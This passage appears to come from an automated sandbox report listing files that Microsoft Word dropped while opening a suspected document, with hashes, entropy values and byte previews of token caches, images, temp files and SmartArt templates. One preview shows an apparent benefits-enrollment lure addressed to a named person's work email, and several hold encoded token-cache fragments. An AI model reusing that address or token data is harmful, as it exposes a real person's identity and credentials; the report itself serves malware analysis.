Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.K.V.+.Z.r.M.h.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.n.B.z.K.a.S.

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.917426726514467
Encrypted:	false
SSDEEP:	48:uiTrlKxJxhxl9Il8uxJD4rzlN7uHHxtJd/vc:0YntGTuHH0
MD5:	5F504C4DADB1667B5BE28CB11D0735B5
SHA1:	20B998F35980CE5E7FF72BA6578B99A80CF56F2B
SHA-256:	5B3FDE32BA6C72864F7A7C58B760893F1F99672C25F207DC3F40C2CC21FAB3A1
SHA-512:	4C57479DB9C0CD6947383F46D0FF633B23F0B9F326648D6552F88F6683549CE76907FDCF647D15349341AAF71CC1093EFA09DBE207A583C652F803938C988E6D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.H.X.L.G.R.5.H.j.D.k.3.C.i.F.b.L.a.m.K.N.+.n.c.g.T.0.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.Z.f.O.f.X.x.A.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.n.B.z.K.a.S.

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	3.9940512196068743
Encrypted:	false
SSDEEP:	96:VYFdiJMC3AiawmjMsJUNt2jNzIY3Fjdl6cNpNgbg:VgDdakRjRIgJJNpN2g
MD5:	1A66BC49B8DF50ED75BF4B0C8BA19E1A
SHA1:	763CC510D2253063A61325A6DB87CB80D980A428
SHA-256:	350A003CF22E79587015C066ADA0F41463BA53A23D504D25A2EEE61F86347BF2
SHA-512:	A688B542AED7598EB4D35E8E490E7778532E81443FFB109C6374071AC67657E577B1BDD21C67BF34F6DAB4A11A6316214CB92599D8487E96B8518D6E559D4705
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".v.u.8.w.T.K.s.h.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.n.B.z.K.a.S.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A1515214.png

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	PNG image data, 339 x 339, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	30504
Entropy (8bit):	7.806907088055033
Encrypted:	false
SSDEEP:	768:CECmcigaHAK5+c7Aw3JccFRSOo6jvIEjOkdaJ6ayhnHo/urt:PHcRxC+clYytpRDIg
MD5:	FD3ECF8B8876B7F2ED6B823A019CAB3A
SHA1:	B5F58DEE765F889EDFC1EB7E7CCBBAEE11DBE497
SHA-256:	F2207E0855A167F820A0525400F156F47461EB69AE1A1183BB1A38D30D1D286B
SHA-512:	CBD0E4D82B3D913FFC747DD1F918FDA3713C94416847FAF3B541B1C956D0E80D0D8C3D5EAFAEF6BEB1E407117E13A8076AC45BE1E8355D9FDDED97BB03C40E4C
Malicious:	false
Preview:	.PNG........IHDR...S...S......)x#..v.IDATx..}i.%E.nV.<..\....nh.J....%:..2....#:.:(..."."'..Pd...D6mvQ.E..b.i.p.Qgy.w...2....s.m..?TgFDf...F..E..f..6..3../0.`..........m...6.B..?.`..o.`.-D.......m...6.B..?.`..o.`.-D.......m...6.B..?.`..o.`.-D.......m...6.B..?.`..o.`.-D.......m...6.B..?.`..o.`.-D.......m...6.B..?.`..o.`.-D.......m...6.B..?.`..o.`.-D..o~QlZ.....XT.....E..(...E..(.*...biQ,+..E..(...m.bEQ.(.mqB...bG).T.L!VJy..:[.].<..\|_..Ky(X9W.WIy.R.....<.:_..Hy.X.P.=.<...P.7K.....b/)..[...6)..+....).X.B..Hy.R?..R~S....>)....!.U....R.}.<Q.......I....^...<... ..R.EF.$...l..-B.).J.B./Ky./.WB.+.`.6!.!..`.v!N.r.Rw.q..W...V...N.V.3....s...Jy#.....b)o.+...r)o.9?,..R..V. ..R.J="..R.C.E^.?..S..VQ.[.....Eq.Q<P..+.......}Q<T.k.bmQ<\..(.?.....x.(.+...O..b..M...M.+.+f.....}(....v....u.o5+/5>7..W8gi}...}v]...k......{j}..z.9...".....?..(.>1.s..q..Y..y....>o\|.7+_D..!(..s.'..q&.~f.[(.P.S.. ....~..M....e&j..\|...?....5v..EXQ.a.-...}.6.q....~]..163..._;...^....Y.V..1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C26AB09F.png

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.6851406288304105
Encrypted:	false
SSDEEP:	24:Qb0EcwtZDFHs70yTIy9pEq0WVBtXVMDug3iLRciNe47zz:QIEFA7pdl3tFEWRRPz
MD5:	ED9C9EB0DCE17D752BEDEA6B5ACDA6D9
SHA1:	ECA56C4904354EED5DA0DEBCD6BD66856AB4784D
SHA-256:	F664B8138C2DA6EC7565500A7CC839DA6372614A31DC04C5A2169A26B8D9767C
SHA-512:	3BFB696318DDB93540140DBCD4DBB32F129441E46EE752C6B7379624488533BA27CC7EFF3CAE444C1797CA6EECDF333EDAF443AC84CDEB037A890967091CF91C
Malicious:	false
Preview:	.PNG........IHDR...l.................pHYs...........~.....IDATh..XMN.P..\.E......' ,.-.$'.H....s...1.vQ.......4.........-.<......{..\|.?.w[4....A.=h<>.......7..t.u..]A{..&...,..h.`D4.01]......H.&..C.w...@......a..3..H.aR.=.g.(.0.6...;Wl...X.X..G.Bf.....D4...K..p... ..hh.-b.R.Z....Z..zYQc}....u^..R.Dzm$..%c".....C.z.\&U9P..0.3s*..31..@...W..2....yG.....c)k.F....3.I!....2..F.....`%1.....-..U.s(.p..S.($/...}(.5.\"k.+.I.Q...cb....kt..o.`.........%L....;.J.[..b.xx)c,X7.....)..'.n..H=E<.B.].g.}f.o...........znJ.....Q$....7...#.&..g.D..X....F..~=...%IQ.........e.....>.R..............s..[.D\|l.n&..a06..d.5.5YGC..3N......<..Pt..\<{b...i.....)!.....8...0.t_.....8..T.......)G.-mzK....../..TDK..k..s"ch.0....i..`...`V..H.Q"...x......!.."..Q..%3O.L.....$....e.s.m..\|\|.......AD."...#.%b,'..r!.}c...X!2kCD6..iX.\@S..3Er....B...D...%.O...(._...-....{b......z........r.N..W2....L.1~-.J.?.l....?..q:..W.5&.....\|..>.B...G.oa.S.....1......Zo...q.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{395B75A4-BE96-4DEE-A2A5-1A45EE2A588F}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	1.4312175773348335
Encrypted:	false
SSDEEP:	12:rl3lTpFQY+RlXIIGWIGWCItWtWCICICb77:rnSRlUG8S
MD5:	47E0D548D9DFA53805C091A87ED7644E
SHA1:	D90308FD3CA78FA4F60DC28DFE4546A0E97AEA48
SHA-256:	0BB2D1DD6B82F7E23CB29F042FA6CA3084FC4B33DFE213A9589AA352D6A7697C
SHA-512:	3872FA416D1680C5D71BB61B9902B4A161959A0B0753C847E560780A674312F455A9DEAD39FFBCADB5F53A789B2223C98329D0FF2823F95719E1BEE65EE77ADE
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{89AC877D-EB60-4E8C-8898-FFA359240ACA}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	3068
Entropy (8bit):	2.5784668149717014
Encrypted:	false
SSDEEP:	48:9SB4ADwbn00/dGqiQAaGtpFMvc6hqV14Mlq:9SB6t/dDiQ1GtpFMvcqqfTq
MD5:	241F663A54929960CA135E5B7FFAB0D6
SHA1:	D8908C938533DB86C77E96CB7BFBA505EF41A053
SHA-256:	9861B07A968E5F5800EE57847A4CCFEC7BAFD0312EFAC78C32AA2F55BFCC0700
SHA-512:	68E9735B5FC976988A51372AD6860F8BE8D22EDC30824DC430277401F8C038BBD096F07DDA8BA3DBDB96E8C08D196A98BFBD8723DB268C15EF309B8F7C96F530
Malicious:	false
Preview:	..E.m.p.l.o.y.e.e. .B.e.n.e.f.i.t.s. .E.n.r.o.l.l.m.e.n.t. .N.o.t.i.f.i.c.a.t.i.o.n...D.e.a.r. .M.I.C.H.E.L.L.E.S.@.A.G.E.E.C.O.N.S.T.R.U.C.T.I.O.N...C.O.M.,.../.......................................................................................................................................................................................................................................................................................................................................................................V...................`...d.......0...............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{9292194B-BE0C-4D2E-84A0-3D669BDDFB1E}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.4788358371930146
Encrypted:	false
SSDEEP:	3:ml+lGl+l+l+l1PPPZHll9l7lhlJvl5hzldlxpxl/b1l/pl/Ppl/Rl/rphlll/tlf:mEMEEEJq39lCgK8oqQT0o2yEE/LKhT4
MD5:	63AE286D8E3CF42B0157BF7CF8FCD249
SHA1:	750D9FEBF4F4BFD63C00ED66E74863FDFBF391C5
SHA-256:	304E20B8DA29D05D5F9DC2C073CB2E0C05DA84D8342037CF536B94C240106E85
SHA-512:	42C442B66713C122F0B82FCA26F0B219258FEFC8E78B270B184D3E6907972E4D16114772B72EAB9E259211186DA0685297D6EA35728D18B9FD5CE65544430248
Malicious:	false
Preview:	....1.2.....1.2.....1.....1.....1.2.....1.2.....1.2.....1.2.....(.....(.....(.....(.....(...b.r.o.k...b................................................................................................................................................................................................................................................................................................................................................................................................................................................................. ...&...(.......0...6...8...>...@...D...F...J...L...P...R...V...X...\...f.......................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1729289629779663100_4907985C-C5CF-4CB5-9F9A-88902AC491DA.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with very long lines (4728), with CRLF line terminators
Category:	dropped
Size (bytes):	33842
Entropy (8bit):	5.541493467966787
Encrypted:	false
SSDEEP:	768:zJTrnzjgkitpgejuRv8pVmwH3CMu8EQzoz0r1KF6jcPP4/uBEYsh3t4ftOE6iH5u:zJTrzjgkiteWuRv83mwHyMu8Jzoz0xWY
MD5:	0481218066EBBFE5397849EF8AD6ED8B
SHA1:	C98D51D90A8E392B4C86A83B0EC3E23EF8C8C3CF
SHA-256:	88975750BF910C04F0E1D2F3D42A805B55290FB8E66E33CAEE05917F564E4BD4
SHA-512:	0FAE090B12FFA1F01F3F36D7734BA8C35C07AC2084F0E37B3CB218E1D84E8905F0C632490BDDF6D3DA53B8364E233BFAAA88CF392CF51435C5D4E2454B6B3D38
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..10/18/2024 22:13:49.977.WINWORD (0x1EFC).0x1F78.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":23,"Time":"2024-10-18T22:13:49.977Z","Contract":"Office.System.Activity","Activity.CV":"XJgHSc/FtUyfmoiQKsSR2g.7.1","Activity.Duration":239,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Activity.Result.Code":-2147024890,"Activity.Result.Type":"HRESULT","Activity.Result.Tag":528307459}...10/18/2024 22:13:49.992.WINWORD (0x1EFC).0x1F78.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.ProcessIdleQueueJob","Flags":33777014401990913,"InternalSequenceNumber":24,"Time":"2024-10-18T22:13:49.992Z","Contract":"Office.System.Activity","Activity.CV":"XJgHSc/FtUyfmoiQKsSR2g.7","Activity.Duration":10343,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Data.Failure

C:\Users\user\AppData\Local\Temp\TCD5909.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.4680595384446202
Encrypted:	false
SSDEEP:	6:fxnxUXivlE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyydGHmD0+dAH/luWvv
MD5:	D79B5DE6D93AC06005761D88783B3EE6
SHA1:	E05BDCE2673B6AA8CBB17A138751EDFA2264DB91
SHA-256:	96125D6804544B8D4E6AE8638EFD4BD1F96A1BFB9EEF57337FFF40BA9FF4CDD1
SHA-512:	34057F7B2AB273964CB086D8A7DF09A4E05D244A1A27E7589BDC7E5679AB5F587FAB52A2261DB22070DA11EF016F7386635A2B8E54D83730E77A7B142C2E3929
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .a.r.c.h.i.t.e.c.t.u.r.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5909.tmp\architecture.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Local\Temp\TCD591A.tmp\BracketList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Local\Temp\TCD591A.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	250
Entropy (8bit):	3.4916022431157345
Encrypted:	false
SSDEEP:	6:fxnxUXsAl8xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8A8xoGHmD0+dAH/luWvv
MD5:	1A314B08BB9194A41E3794EF54017811
SHA1:	D1E70DB69CA737101524C75E634BB72F969464FF
SHA-256:	9025DD691FCAD181D5FD5952C7AA3728CD8A2CAF20DEA14930876419BED9B379
SHA-512:	AB29C8674A85711EABAE5F9559E9048FE91A2F51EB12D5A46152A310DE59F759DF8C617DA248798A7C20F60E26FBB1B0FC8DB47C46B098BCD26CF8CE78989ACA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.r.a.c.k.e.t.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD591B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	258
Entropy (8bit):	3.4692172273306268
Encrypted:	false
SSDEEP:	6:fxnxUXcq9DsoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnysmYoGHmD0+dAH/luWvv
MD5:	C1B36A0547FB75445957A619201143AC
SHA1:	CDB0A18152F57653F1A707D39F3D7FB504E244A7
SHA-256:	4DFF7D1CEF6DD85CC73E1554D705FA6586A1FBD10E4A73EEE44EAABA2D2FFED9
SHA-512:	0923FB41A6DB96C85B44186E861D34C26595E37F30A6F8E554BD3053B99F237D9AC893D47E8B1E9CF36556E86EFF5BE33C015CBBDD31269CDAA68D6947C47F3F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .p.i.c.t.u.r.e.o.r.g.c.h.a.r.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD591B.tmp\pictureorgchart.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Local\Temp\TCD593D.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	262
Entropy (8bit):	3.4901887319218092
Encrypted:	false
SSDEEP:	6:fxnxUXqhBMl0OoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyiMl0OoGHmD0+dAH/luWvv
MD5:	52BD0762F3DC77334807DDFC60D5F304
SHA1:	5962DA7C58F742046A116DDDA5DC8EA889C4CB0E
SHA-256:	30C20CC835E912A6DD89FD1BF5F7D92B233B2EC24594F1C1FE0CADB03A8C3FAB
SHA-512:	FB68B1CF9677A00D5651C51EC604B61DAC2D250D44A71D43CD69F41F16E4F0A7BAA7AD4A6F7BB870429297465A893013BBD7CC77A8F709AD6DB97F5A0927B1DD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .R.a.d.i.a.l.P.i.c.t.u.r.e.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD593D.tmp\RadialPictureList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
